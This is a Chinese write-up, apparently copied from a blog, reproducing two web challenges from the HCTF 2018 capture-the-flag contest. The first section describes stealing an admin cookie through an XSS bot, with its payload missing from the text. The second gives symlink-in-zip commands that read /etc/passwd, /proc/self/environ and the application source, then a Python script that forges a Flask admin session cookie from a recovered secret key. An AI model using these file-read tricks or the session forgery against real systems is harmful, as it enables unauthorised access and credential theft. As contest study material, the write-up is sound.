hctf2018wp复现

1、bottle

登陆网站后存在提交url的地方

测试发生存在如下paload:

 验证码部分可以生成1-10000的Md5值 ,构造如下payload:

下面这个图就是打到自己的cookie。如果将这个payload提交到url那里,也就是xss bot存在的地方 就能打到管理员的cookie:

 2、hide and seek

软链漏洞:

ln -s /etc/passwd 1.txt
zip -y 1.zip 1.txt
就能得到/etc/passwd源码
ln -s /proc/self/environ 1.txt
zip -y 1.zip 1.txt
得到配置
ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py 1.txt
zip -y 1.zip 1.txt
把1.zip上传就能拿到源码

当已知flask的secret_key已知时就能伪造管理员的session
random.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY'] = str(random.random()*100)
得到secret_key=11.935137566861131

伪造admin session的脚本:
import hmac
from hashlib import sha1
from itsdangerous import *

def session_serializer(secret_key):
    signer_kwargs = dict(
        key_derivation='hmac',
        digest_method=sha1
    )
    Serializer = URLSafeTimedSerializer(secret_key, salt='cookie-session',
                                  signer_kwargs=signer_kwargs)
    data = {'username': 'admin'}
    return Serializer.dumps(data)

if __name__ == '__main__':
    secret_key = '11.935137566861131'
    print session_serializer(secret_key)

该cookie通过.分割,分成了三部分:内容序列化+时间+防篡改值https://www.aliyun.com/jiaocheng/491548.html

参考链接:

https://www.jianshu.com/p/8f5ba751aa0f

http://wiki.ioin.in/post/group/18NJ

猜你喜欢

转载自www.cnblogs.com/afanti/p/9949660.html